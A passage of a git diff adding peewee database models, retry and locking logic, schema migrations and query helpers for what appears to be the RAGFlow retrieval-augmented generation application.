should_retry = ( + (hasattr(e, 'args') and e.args and e.args[0] in error_codes) or + (str(e) in error_messages) or + (hasattr(e, '__class__') and e.__class__.__name__ == 'InterfaceError') + ) + + if should_retry and attempt < self.max_retries: + logging.warning( + f"Lost connection during transaction (attempt {attempt+1}/{self.max_retries})" + ) + self._handle_connection_loss() + time.sleep(self.retry_delay * (2 ** attempt)) + else: + raise + + +class PooledDatabase(Enum): + MYSQL = RetryingPooledMySQLDatabase + POSTGRES = PooledPostgresqlDatabase + + +class DatabaseMigrator(Enum): + MYSQL = MySQLMigrator + POSTGRES = PostgresqlMigrator + + +@singleton +class BaseDataBase: + def __init__(self): + database_config = settings.DATABASE.copy() + db_name = database_config.pop("name") + + # pool_config = { + # 'max_retries': 5, + # 'retry_delay': 1, + # } + # database_config.update(pool_config) + + self.database_connection = PooledDatabase[settings.DATABASE_TYPE.upper()].value( + db_name, **database_config + ) + # self.database_connection = PooledDatabase[settings.DATABASE_TYPE.upper()].value(db_name, **database_config) + logging.info("init database on cluster mode successfully") + + +def with_retry(max_retries=3, retry_delay=1.0): + """Decorator: Add retry mechanism to database operations + + Args: + max_retries (int): maximum number of retries + retry_delay (float): initial retry delay (seconds), will increase exponentially + + Returns: + decorated function + """ + + def decorator(func): + @wraps(func) + def wrapper(*args, **kwargs): + last_exception = None + for retry in range(max_retries): + try: + return func(*args, **kwargs) + except Exception as e: + last_exception = e + # get self and method name for logging + self_obj = args[0] if args else None + func_name = func.__name__ + lock_name = getattr(self_obj, "lock_name", "unknown") if self_obj else "unknown" + + if retry < max_retries - 1: + current_delay = retry_delay * (2**retry) + logging.warning(f"{func_name} {lock_name} failed: {str(e)}, retrying ({retry + 1}/{max_retries})") + time.sleep(current_delay) + else: + logging.error(f"{func_name} {lock_name} failed after all attempts: {str(e)}") + + if last_exception: + raise last_exception + return False + + return wrapper + + return decorator + + +class PostgresDatabaseLock: + def __init__(self, lock_name, timeout=10, db=None): + self.lock_name = lock_name + self.lock_id = int(hashlib.md5(lock_name.encode()).hexdigest(), 16) % (2**31 - 1) + self.timeout = int(timeout) + self.db = db if db else DB + + @with_retry(max_retries=3, retry_delay=1.0) + def lock(self): + cursor = self.db.execute_sql("SELECT pg_try_advisory_lock(%s)", (self.lock_id,)) + ret = cursor.fetchone() + if ret[0] == 0: + raise Exception(f"acquire postgres lock {self.lock_name} timeout") + elif ret[0] == 1: + return True + else: + raise Exception(f"failed to acquire lock {self.lock_name}") + + @with_retry(max_retries=3, retry_delay=1.0) + def unlock(self): + cursor = self.db.execute_sql("SELECT pg_advisory_unlock(%s)", (self.lock_id,)) + ret = cursor.fetchone() + if ret[0] == 0: + raise Exception(f"postgres lock {self.lock_name} was not established by this thread") + elif ret[0] == 1: + return True + else: + raise Exception(f"postgres lock {self.lock_name} does not exist") + + def __enter__(self): + if isinstance(self.db, PooledPostgresqlDatabase): + self.lock() + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + if isinstance(self.db, PooledPostgresqlDatabase): + self.unlock() + + def __call__(self, func): + @wraps(func) + def magic(*args, **kwargs): + with self: + return func(*args, **kwargs) + + return magic + + +class MysqlDatabaseLock: + def __init__(self, lock_name, timeout=10, db=None): + self.lock_name = lock_name + self.timeout = int(timeout) + self.db = db if db else DB + + @with_retry(max_retries=3, retry_delay=1.0) + def lock(self): + # SQL parameters only support %s format placeholders + cursor = self.db.execute_sql("SELECT GET_LOCK(%s, %s)", (self.lock_name, self.timeout)) + ret = cursor.fetchone() + if ret[0] == 0: + raise Exception(f"acquire mysql lock {self.lock_name} timeout") + elif ret[0] == 1: + return True + else: + raise Exception(f"failed to acquire lock {self.lock_name}") + + @with_retry(max_retries=3, retry_delay=1.0) + def unlock(self): + cursor = self.db.execute_sql("SELECT RELEASE_LOCK(%s)", (self.lock_name,)) + ret = cursor.fetchone() + if ret[0] == 0: + raise Exception(f"mysql lock {self.lock_name} was not established by this thread") + elif ret[0] == 1: + return True + else: + raise Exception(f"mysql lock {self.lock_name} does not exist") + + def __enter__(self): + if isinstance(self.db, PooledMySQLDatabase): + self.lock() + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + if isinstance(self.db, PooledMySQLDatabase): + self.unlock() + + def __call__(self, func): + @wraps(func) + def magic(*args, **kwargs): + with self: + return func(*args, **kwargs) + + return magic + + +class DatabaseLock(Enum): + MYSQL = MysqlDatabaseLock + POSTGRES = PostgresDatabaseLock + + +DB = BaseDataBase().database_connection +DB.lock = DatabaseLock[settings.DATABASE_TYPE.upper()].value + + +def close_connection(): + try: + if DB: + DB.close_stale(age=30) + except Exception as e: + logging.exception(e) + + +class DataBaseModel(BaseModel): + class Meta: + database = DB + + +@DB.connection_context() +@DB.lock("init_database_tables", 60) +def init_database_tables(alter_fields=[]): + members = inspect.getmembers(sys.modules[__name__], inspect.isclass) + table_objs = [] + create_failed_list = [] + for name, obj in members: + if obj != DataBaseModel and issubclass(obj, DataBaseModel): + table_objs.append(obj) + + if not obj.table_exists(): + logging.debug(f"start create table {obj.__name__}") + try: + obj.create_table(safe=True) + logging.debug(f"create table success: {obj.__name__}") + except Exception as e: + logging.exception(e) + create_failed_list.append(obj.__name__) + else: + logging.debug(f"table {obj.__name__} already exists, skip creation.") + + if create_failed_list: + logging.error(f"create tables failed: {create_failed_list}") + raise Exception(f"create tables failed: {create_failed_list}") + migrate_db() + + +def fill_db_model_object(model_object, human_model_dict): + for k, v in human_model_dict.items(): + attr_name = "%s" % k + if hasattr(model_object.__class__, attr_name): + setattr(model_object, attr_name, v) + return model_object + + +class User(DataBaseModel, UserMixin): + id = CharField(max_length=32, primary_key=True) + access_token = CharField(max_length=255, null=True, index=True) + nickname = CharField(max_length=100, null=False, help_text="nicky name", index=True) + password = CharField(max_length=255, null=True, help_text="password", index=True) + email = CharField(max_length=255, null=False, help_text="email", index=True) + avatar = TextField(null=True, help_text="avatar base64 string") + language = CharField(max_length=32, null=True, help_text="English|Chinese", default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", index=True) + color_schema = CharField(max_length=32, null=True, help_text="Bright|Dark", default="Bright", index=True) + timezone = CharField(max_length=64, null=True, help_text="Timezone", default="UTC+8\tAsia/Shanghai", index=True) + last_login_time = DateTimeField(null=True, index=True) + is_authenticated = CharField(max_length=1, null=False, default="1", index=True) + is_active = CharField(max_length=1, null=False, default="1", index=True) + is_anonymous = CharField(max_length=1, null=False, default="0", index=True) + login_channel = CharField(null=True, help_text="from which user login", index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + is_superuser = BooleanField(null=True, help_text="is root", default=False, index=True) + + def __str__(self): + return self.email + + def get_id(self): + jwt = Serializer(secret_key=settings.SECRET_KEY) + return jwt.dumps(str(self.access_token)) + + class Meta: + db_table = "user" + + +class Tenant(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + name = CharField(max_length=100, null=True, help_text="Tenant name", index=True) + public_key = CharField(max_length=255, null=True, index=True) + llm_id = CharField(max_length=128, null=False, help_text="default llm ID", index=True) + embd_id = CharField(max_length=128, null=False, help_text="default embedding model ID", index=True) + asr_id = CharField(max_length=128, null=False, help_text="default ASR model ID", index=True) + img2txt_id = CharField(max_length=128, null=False, help_text="default image to text model ID", index=True) + rerank_id = CharField(max_length=128, null=False, help_text="default rerank model ID", index=True) + tts_id = CharField(max_length=256, null=True, help_text="default tts model ID", index=True) + parser_ids = CharField(max_length=256, null=False, help_text="document processors", index=True) + credit = IntegerField(default=512, index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "tenant" + + +class UserTenant(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + user_id = CharField(max_length=32, null=False, index=True) + tenant_id = CharField(max_length=32, null=False, index=True) + role = CharField(max_length=32, null=False, help_text="UserTenantRole", index=True) + invited_by = CharField(max_length=32, null=False, index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "user_tenant" + + +class InvitationCode(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + code = CharField(max_length=32, null=False, index=True) + visit_time = DateTimeField(null=True, index=True) + user_id = CharField(max_length=32, null=True, index=True) + tenant_id = CharField(max_length=32, null=True, index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "invitation_code" + + +class LLMFactories(DataBaseModel): + name = CharField(max_length=128, null=False, help_text="LLM factory name", primary_key=True) + logo = TextField(null=True, help_text="llm logo base64") + tags = CharField(max_length=255, null=False, help_text="LLM, Text Embedding, Image2Text, ASR", index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + def __str__(self): + return self.name + + class Meta: + db_table = "llm_factories" + + +class LLM(DataBaseModel): + # LLMs dictionary + llm_name = CharField(max_length=128, null=False, help_text="LLM name", index=True) + model_type = CharField(max_length=128, null=False, help_text="LLM, Text Embedding, Image2Text, ASR", index=True) + fid = CharField(max_length=128, null=False, help_text="LLM factory id", index=True) + max_tokens = IntegerField(default=0) + + tags = CharField(max_length=255, null=False, help_text="LLM, Text Embedding, Image2Text, Chat, 32k...", index=True) + is_tools = BooleanField(null=False, help_text="support tools", default=False) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + def __str__(self): + return self.llm_name + + class Meta: + primary_key = CompositeKey("fid", "llm_name") + db_table = "llm" + + +class TenantLLM(DataBaseModel): + tenant_id = CharField(max_length=32, null=False, index=True) + llm_factory = CharField(max_length=128, null=False, help_text="LLM factory name", index=True) + model_type = CharField(max_length=128, null=True, help_text="LLM, Text Embedding, Image2Text, ASR", index=True) + llm_name = CharField(max_length=128, null=True, help_text="LLM name", default="", index=True) + api_key = CharField(max_length=2048, null=True, help_text="API KEY", index=True) + api_base = CharField(max_length=255, null=True, help_text="API Base") + max_tokens = IntegerField(default=8192, index=True) + used_tokens = IntegerField(default=0, index=True) + + def __str__(self): + return self.llm_name + + class Meta: + db_table = "tenant_llm" + primary_key = CompositeKey("tenant_id", "llm_factory", "llm_name") + + +class TenantLangfuse(DataBaseModel): + tenant_id = CharField(max_length=32, null=False, primary_key=True) + secret_key = CharField(max_length=2048, null=False, help_text="SECRET KEY", index=True) + public_key = CharField(max_length=2048, null=False, help_text="PUBLIC KEY", index=True) + host = CharField(max_length=128, null=False, help_text="HOST", index=True) + + def __str__(self): + return "Langfuse host" + self.host + + class Meta: + db_table = "tenant_langfuse" + + +class Knowledgebase(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + avatar = TextField(null=True, help_text="avatar base64 string") + tenant_id = CharField(max_length=32, null=False, index=True) + name = CharField(max_length=128, null=False, help_text="KB name", index=True) + language = CharField(max_length=32, null=True, default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", help_text="English|Chinese", index=True) + description = TextField(null=True, help_text="KB description") + embd_id = CharField(max_length=128, null=False, help_text="default embedding model ID", index=True) + permission = CharField(max_length=16, null=False, help_text="me|team", default="me", index=True) + created_by = CharField(max_length=32, null=False, index=True) + doc_num = IntegerField(default=0, index=True) + token_num = IntegerField(default=0, index=True) + chunk_num = IntegerField(default=0, index=True) + similarity_threshold = FloatField(default=0.2, index=True) + vector_similarity_weight = FloatField(default=0.3, index=True) + + parser_id = CharField(max_length=32, null=False, help_text="default parser ID", default=ParserType.NAIVE.value, index=True) + pipeline_id = CharField(max_length=32, null=True, help_text="Pipeline ID", index=True) + parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]}) + pagerank = IntegerField(default=0, index=False) + + graphrag_task_id = CharField(max_length=32, null=True, help_text="Graph RAG task ID", index=True) + graphrag_task_finish_at = DateTimeField(null=True) + raptor_task_id = CharField(max_length=32, null=True, help_text="RAPTOR task ID", index=True) + raptor_task_finish_at = DateTimeField(null=True) + mindmap_task_id = CharField(max_length=32, null=True, help_text="Mindmap task ID", index=True) + mindmap_task_finish_at = DateTimeField(null=True) + + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + def __str__(self): + return self.name + + class Meta: + db_table = "knowledgebase" + + +class Document(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + thumbnail = TextField(null=True, help_text="thumbnail base64 string") + kb_id = CharField(max_length=256, null=False, index=True) + parser_id = CharField(max_length=32, null=False, help_text="default parser ID", index=True) + pipeline_id = CharField(max_length=32, null=True, help_text="pipleline ID", index=True) + parser_config = JSONField(null=False, default={"pages": [[1, 1000000]]}) + source_type = CharField(max_length=128, null=False, default="local", help_text="where dose this document come from", index=True) + type = CharField(max_length=32, null=False, help_text="file extension", index=True) + created_by = CharField(max_length=32, null=False, help_text="who created it", index=True) + name = CharField(max_length=255, null=True, help_text="file name", index=True) + location = CharField(max_length=255, null=True, help_text="where dose it store", index=True) + size = IntegerField(default=0, index=True) + token_num = IntegerField(default=0, index=True) + chunk_num = IntegerField(default=0, index=True) + progress = FloatField(default=0, index=True) + progress_msg = TextField(null=True, help_text="process message", default="") + process_begin_at = DateTimeField(null=True, index=True) + process_duration = FloatField(default=0) + meta_fields = JSONField(null=True, default={}) + suffix = CharField(max_length=32, null=False, help_text="The real file extension suffix", index=True) + + run = CharField(max_length=1, null=True, help_text="start to run processing or cancel.(1: run it; 2: cancel)", default="0", index=True) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "document" + + +class File(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + parent_id = CharField(max_length=32, null=False, help_text="parent folder id", index=True) + tenant_id = CharField(max_length=32, null=False, help_text="tenant id", index=True) + created_by = CharField(max_length=32, null=False, help_text="who created it", index=True) + name = CharField(max_length=255, null=False, help_text="file name or folder name", index=True) + location = CharField(max_length=255, null=True, help_text="where dose it store", index=True) + size = IntegerField(default=0, index=True) + type = CharField(max_length=32, null=False, help_text="file extension", index=True) + source_type = CharField(max_length=128, null=False, default="", help_text="where dose this document come from", index=True) + + class Meta: + db_table = "file" + + +class File2Document(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + file_id = CharField(max_length=32, null=True, help_text="file id", index=True) + document_id = CharField(max_length=32, null=True, help_text="document id", index=True) + + class Meta: + db_table = "file2document" + + +class Task(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + doc_id = CharField(max_length=32, null=False, index=True) + from_page = IntegerField(default=0) + to_page = IntegerField(default=100000000) + task_type = CharField(max_length=32, null=False, default="") + priority = IntegerField(default=0) + + begin_at = DateTimeField(null=True, index=True) + process_duration = FloatField(default=0) + + progress = FloatField(default=0, index=True) + progress_msg = TextField(null=True, help_text="process message", default="") + retry_count = IntegerField(default=0) + digest = TextField(null=True, help_text="task digest", default="") + chunk_ids = LongTextField(null=True, help_text="chunk ids", default="") + + +class Dialog(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + tenant_id = CharField(max_length=32, null=False, index=True) + name = CharField(max_length=255, null=True, help_text="dialog application name", index=True) + description = TextField(null=True, help_text="Dialog description") + icon = TextField(null=True, help_text="icon base64 string") + language = CharField(max_length=32, null=True, default="Chinese" if "zh_CN" in os.getenv("LANG", "") else "English", help_text="English|Chinese", index=True) + llm_id = CharField(max_length=128, null=False, help_text="default llm ID") + + llm_setting = JSONField(null=False, default={"temperature": 0.1, "top_p": 0.3, "frequency_penalty": 0.7, "presence_penalty": 0.4, "max_tokens": 512}) + prompt_type = CharField(max_length=16, null=False, default="simple", help_text="simple|advanced", index=True) + prompt_config = JSONField( + null=False, + default={"system": "", "prologue": "Hi! I'm your assistant. What can I do for you?", "parameters": [], "empty_response": "Sorry! No relevant content was found in the knowledge base!"}, + ) + meta_data_filter = JSONField(null=True, default={}) + + similarity_threshold = FloatField(default=0.2) + vector_similarity_weight = FloatField(default=0.3) + + top_n = IntegerField(default=6) + + top_k = IntegerField(default=1024) + + do_refer = CharField(max_length=1, null=False, default="1", help_text="it needs to insert reference index into answer or not") + + rerank_id = CharField(max_length=128, null=False, help_text="default rerank model ID") + + kb_ids = JSONField(null=False, default=[]) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "dialog" + + +class Conversation(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + dialog_id = CharField(max_length=32, null=False, index=True) + name = CharField(max_length=255, null=True, help_text="converastion name", index=True) + message = JSONField(null=True) + reference = JSONField(null=True, default=[]) + user_id = CharField(max_length=255, null=True, help_text="user_id", index=True) + + class Meta: + db_table = "conversation" + + +class APIToken(DataBaseModel): + tenant_id = CharField(max_length=32, null=False, index=True) + token = CharField(max_length=255, null=False, index=True) + dialog_id = CharField(max_length=32, null=True, index=True) + source = CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True) + beta = CharField(max_length=255, null=True, index=True) + + class Meta: + db_table = "api_token" + primary_key = CompositeKey("tenant_id", "token") + + +class API4Conversation(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + dialog_id = CharField(max_length=32, null=False, index=True) + user_id = CharField(max_length=255, null=False, help_text="user_id", index=True) + message = JSONField(null=True) + reference = JSONField(null=True, default=[]) + tokens = IntegerField(default=0) + source = CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True) + dsl = JSONField(null=True, default={}) + duration = FloatField(default=0, index=True) + round = IntegerField(default=0, index=True) + thumb_up = IntegerField(default=0, index=True) + errors = TextField(null=True, help_text="errors") + + class Meta: + db_table = "api_4_conversation" + + +class UserCanvas(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + avatar = TextField(null=True, help_text="avatar base64 string") + user_id = CharField(max_length=255, null=False, help_text="user_id", index=True) + title = CharField(max_length=255, null=True, help_text="Canvas title") + + permission = CharField(max_length=16, null=False, help_text="me|team", default="me", index=True) + description = TextField(null=True, help_text="Canvas description") + canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True) + canvas_category = CharField(max_length=32, null=False, default="agent_canvas", help_text="Canvas category: agent_canvas|dataflow_canvas", index=True) + dsl = JSONField(null=True, default={}) + + class Meta: + db_table = "user_canvas" + + +class CanvasTemplate(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + avatar = TextField(null=True, help_text="avatar base64 string") + title = JSONField(null=True, default=dict, help_text="Canvas title") + description = JSONField(null=True, default=dict, help_text="Canvas description") + canvas_type = CharField(max_length=32, null=True, help_text="Canvas type", index=True) + canvas_category = CharField(max_length=32, null=False, default="agent_canvas", help_text="Canvas category: agent_canvas|dataflow_canvas", index=True) + dsl = JSONField(null=True, default={}) + + class Meta: + db_table = "canvas_template" + + +class UserCanvasVersion(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + user_canvas_id = CharField(max_length=255, null=False, help_text="user_canvas_id", index=True) + + title = CharField(max_length=255, null=True, help_text="Canvas title") + description = TextField(null=True, help_text="Canvas description") + dsl = JSONField(null=True, default={}) + + class Meta: + db_table = "user_canvas_version" + + +class MCPServer(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + name = CharField(max_length=255, null=False, help_text="MCP Server name") + tenant_id = CharField(max_length=32, null=False, index=True) + url = CharField(max_length=2048, null=False, help_text="MCP Server URL") + server_type = CharField(max_length=32, null=False, help_text="MCP Server type") + description = TextField(null=True, help_text="MCP Server description") + variables = JSONField(null=True, default=dict, help_text="MCP Server variables") + headers = JSONField(null=True, default=dict, help_text="MCP Server additional request headers") + + class Meta: + db_table = "mcp_server" + + +class Search(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + avatar = TextField(null=True, help_text="avatar base64 string") + tenant_id = CharField(max_length=32, null=False, index=True) + name = CharField(max_length=128, null=False, help_text="Search name", index=True) + description = TextField(null=True, help_text="KB description") + created_by = CharField(max_length=32, null=False, index=True) + search_config = JSONField( + null=False, + default={ + "kb_ids": [], + "doc_ids": [], + "similarity_threshold": 0.2, + "vector_similarity_weight": 0.3, + "use_kg": False, + # rerank settings + "rerank_id": "", + "top_k": 1024, + # chat settings + "summary": False, + "chat_id": "", + # Leave it here for reference, don't need to set default values + "llm_setting": { + # "temperature": 0.1, + # "top_p": 0.3, + # "frequency_penalty": 0.7, + # "presence_penalty": 0.4, + }, + "chat_settingcross_languages": [], + "highlight": False, + "keyword": False, + "web_search": False, + "related_search": False, + "query_mindmap": False, + }, + ) + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + def __str__(self): + return self.name + + class Meta: + db_table = "search" + + +class PipelineOperationLog(DataBaseModel): + id = CharField(max_length=32, primary_key=True) + document_id = CharField(max_length=32, index=True) + tenant_id = CharField(max_length=32, null=False, index=True) + kb_id = CharField(max_length=32, null=False, index=True) + pipeline_id = CharField(max_length=32, null=True, help_text="Pipeline ID", index=True) + pipeline_title = CharField(max_length=32, null=True, help_text="Pipeline title", index=True) + parser_id = CharField(max_length=32, null=False, help_text="Parser ID", index=True) + document_name = CharField(max_length=255, null=False, help_text="File name") + document_suffix = CharField(max_length=255, null=False, help_text="File suffix") + document_type = CharField(max_length=255, null=False, help_text="Document type") + source_from = CharField(max_length=255, null=False, help_text="Source") + progress = FloatField(default=0, index=True) + progress_msg = TextField(null=True, help_text="process message", default="") + process_begin_at = DateTimeField(null=True, index=True) + process_duration = FloatField(default=0) + dsl = JSONField(null=True, default=dict) + task_type = CharField(max_length=32, null=False, default="") + operation_status = CharField(max_length=32, null=False, help_text="Operation status") + avatar = TextField(null=True, help_text="avatar base64 string") + status = CharField(max_length=1, null=True, help_text="is it validate(0: wasted, 1: validate)", default="1", index=True) + + class Meta: + db_table = "pipeline_operation_log" + + +def migrate_db(): + logging.disable(logging.ERROR) + migrator = DatabaseMigrator[settings.DATABASE_TYPE.upper()].value(DB) + try: + migrate(migrator.add_column("file", "source_type", CharField(max_length=128, null=False, default="", help_text="where dose this document come from", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("tenant", "rerank_id", CharField(max_length=128, null=False, default="BAAI/bge-reranker-v2-m3", help_text="default rerank model ID"))) + except Exception: + pass + try: + migrate(migrator.add_column("dialog", "rerank_id", CharField(max_length=128, null=False, default="", help_text="default rerank model ID"))) + except Exception: + pass + try: + migrate(migrator.add_column("dialog", "top_k", IntegerField(default=1024))) + except Exception: + pass + try: + migrate(migrator.alter_column_type("tenant_llm", "api_key", CharField(max_length=2048, null=True, help_text="API KEY", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("api_token", "source", CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("tenant", "tts_id", CharField(max_length=256, null=True, help_text="default tts model ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("api_4_conversation", "source", CharField(max_length=16, null=True, help_text="none|agent|dialog", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("task", "retry_count", IntegerField(default=0))) + except Exception: + pass + try: + migrate(migrator.alter_column_type("api_token", "dialog_id", CharField(max_length=32, null=True, index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("tenant_llm", "max_tokens", IntegerField(default=8192, index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("api_4_conversation", "dsl", JSONField(null=True, default={}))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "pagerank", IntegerField(default=0, index=False))) + except Exception: + pass + try: + migrate(migrator.add_column("api_token", "beta", CharField(max_length=255, null=True, index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("task", "digest", TextField(null=True, help_text="task digest", default=""))) + except Exception: + pass + + try: + migrate(migrator.add_column("task", "chunk_ids", LongTextField(null=True, help_text="chunk ids", default=""))) + except Exception: + pass + try: + migrate(migrator.add_column("conversation", "user_id", CharField(max_length=255, null=True, help_text="user_id", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("document", "meta_fields", JSONField(null=True, default={}))) + except Exception: + pass + try: + migrate(migrator.add_column("task", "task_type", CharField(max_length=32, null=False, default=""))) + except Exception: + pass + try: + migrate(migrator.add_column("task", "priority", IntegerField(default=0))) + except Exception: + pass + try: + migrate(migrator.add_column("user_canvas", "permission", CharField(max_length=16, null=False, help_text="me|team", default="me", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("llm", "is_tools", BooleanField(null=False, help_text="support tools", default=False))) + except Exception: + pass + try: + migrate(migrator.add_column("mcp_server", "variables", JSONField(null=True, help_text="MCP Server variables", default=dict))) + except Exception: + pass + try: + migrate(migrator.rename_column("task", "process_duation", "process_duration")) + except Exception: + pass + try: + migrate(migrator.rename_column("document", "process_duation", "process_duration")) + except Exception: + pass + try: + migrate(migrator.add_column("document", "suffix", CharField(max_length=32, null=False, default="", help_text="The real file extension suffix", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("api_4_conversation", "errors", TextField(null=True, help_text="errors"))) + except Exception: + pass + try: + migrate(migrator.add_column("dialog", "meta_data_filter", JSONField(null=True, default={}))) + except Exception: + pass + try: + migrate(migrator.alter_column_type("canvas_template", "title", JSONField(null=True, default=dict, help_text="Canvas title"))) + except Exception: + pass + try: + migrate(migrator.alter_column_type("canvas_template", "description", JSONField(null=True, default=dict, help_text="Canvas description"))) + except Exception: + pass + try: + migrate(migrator.add_column("user_canvas", "canvas_category", CharField(max_length=32, null=False, default="agent_canvas", help_text="agent_canvas|dataflow_canvas", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("canvas_template", "canvas_category", CharField(max_length=32, null=False, default="agent_canvas", help_text="agent_canvas|dataflow_canvas", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "pipeline_id", CharField(max_length=32, null=True, help_text="Pipeline ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("document", "pipeline_id", CharField(max_length=32, null=True, help_text="Pipeline ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "graphrag_task_id", CharField(max_length=32, null=True, help_text="Gragh RAG task ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "raptor_task_id", CharField(max_length=32, null=True, help_text="RAPTOR task ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "graphrag_task_finish_at", DateTimeField(null=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "raptor_task_finish_at", CharField(null=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "mindmap_task_id", CharField(max_length=32, null=True, help_text="Mindmap task ID", index=True))) + except Exception: + pass + try: + migrate(migrator.add_column("knowledgebase", "mindmap_task_finish_at", CharField(null=True))) + except Exception: + pass + logging.disable(logging.NOTSET) diff --git a/api/db/db_utils.py b/api/db/db_utils.py new file mode 100644 index 0000000..e597e33 --- /dev/null +++ b/api/db/db_utils.py @@ -0,0 +1,128 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import operator +from functools import reduce + +from playhouse.pool import PooledMySQLDatabase + +from api.utils import current_timestamp, timestamp_to_date + +from api.db.db_models import DB, DataBaseModel + + +@DB.connection_context() +def bulk_insert_into_db(model, data_source, replace_on_conflict=False): + DB.create_tables([model]) + + for i, data in enumerate(data_source): + current_time = current_timestamp() + i + current_date = timestamp_to_date(current_time) + if 'create_time' not in data: + data['create_time'] = current_time + data['create_date'] = timestamp_to_date(data['create_time']) + data['update_time'] = current_time + data['update_date'] = current_date + + preserve = tuple(data_source[0].keys() - {'create_time', 'create_date'}) + + batch_size = 1000 + + for i in range(0, len(data_source), batch_size): + with DB.atomic(): + query = model.insert_many(data_source[i:i + batch_size]) + if replace_on_conflict: + if isinstance(DB, PooledMySQLDatabase): + query = query.on_conflict(preserve=preserve) + else: + query = query.on_conflict(conflict_target="id", preserve=preserve) + query.execute() + + +def get_dynamic_db_model(base, job_id): + return type(base.model( + table_index=get_dynamic_tracking_table_index(job_id=job_id))) + + +def get_dynamic_tracking_table_index(job_id): + return job_id[:8] + + +def fill_db_model_object(model_object, human_model_dict): + for k, v in human_model_dict.items(): + attr_name = 'f_%s' % k + if hasattr(model_object.__class__, attr_name): + setattr(model_object, attr_name, v) + return model_object + + +# https://docs.peewee-orm.com/en/latest/peewee/query_operators.html +supported_operators = { + '==': operator.eq, + '<': operator.lt, + '<=': operator.le, + '>': operator.gt, + '>=': operator.ge, + '!=': operator.ne, + '<<': operator.lshift, + '>>': operator.rshift, + '%': operator.mod, + '**': operator.pow, + '^': operator.xor, + '~': operator.inv, +} + + +def query_dict2expression( + model: type[DataBaseModel], query: dict[str, bool | int | str | list | tuple]): + expression = [] + + for field, value in query.items(): + if not isinstance(value, (list, tuple)): + value = ('==', value) + op, *val = value + + field = getattr(model, f'f_{field}') + value = supported_operators[op]( + field, val[0]) if op in supported_operators else getattr( + field, op)( + *val) + expression.append(value) + + return reduce(operator.iand, expression) + + +def query_db(model: type[DataBaseModel], limit: int = 0, offset: int = 0, + query: dict = None, order_by: str | list | tuple | None = None): + data = model.select() + if query: + data = data.where(query_dict2expression(model, query)) + count = data.count() + + if not order_by: + order_by = 'create_time' + if not isinstance(order_by, (list, tuple)): + order_by = (order_by, 'asc') + order_by, order = order_by + order_by = getattr(model, f'f_{order_by}') + order_by = getattr(order_by, order)() + data = data.order_by(order_by) + + if limit > 0: + data = data.limit(limit) + if offset > 0: + data = data.offset(offset) + + return list(data), count diff --git a/api/db/init_data.py b/api/db/init_data.py new file mode 100644 index 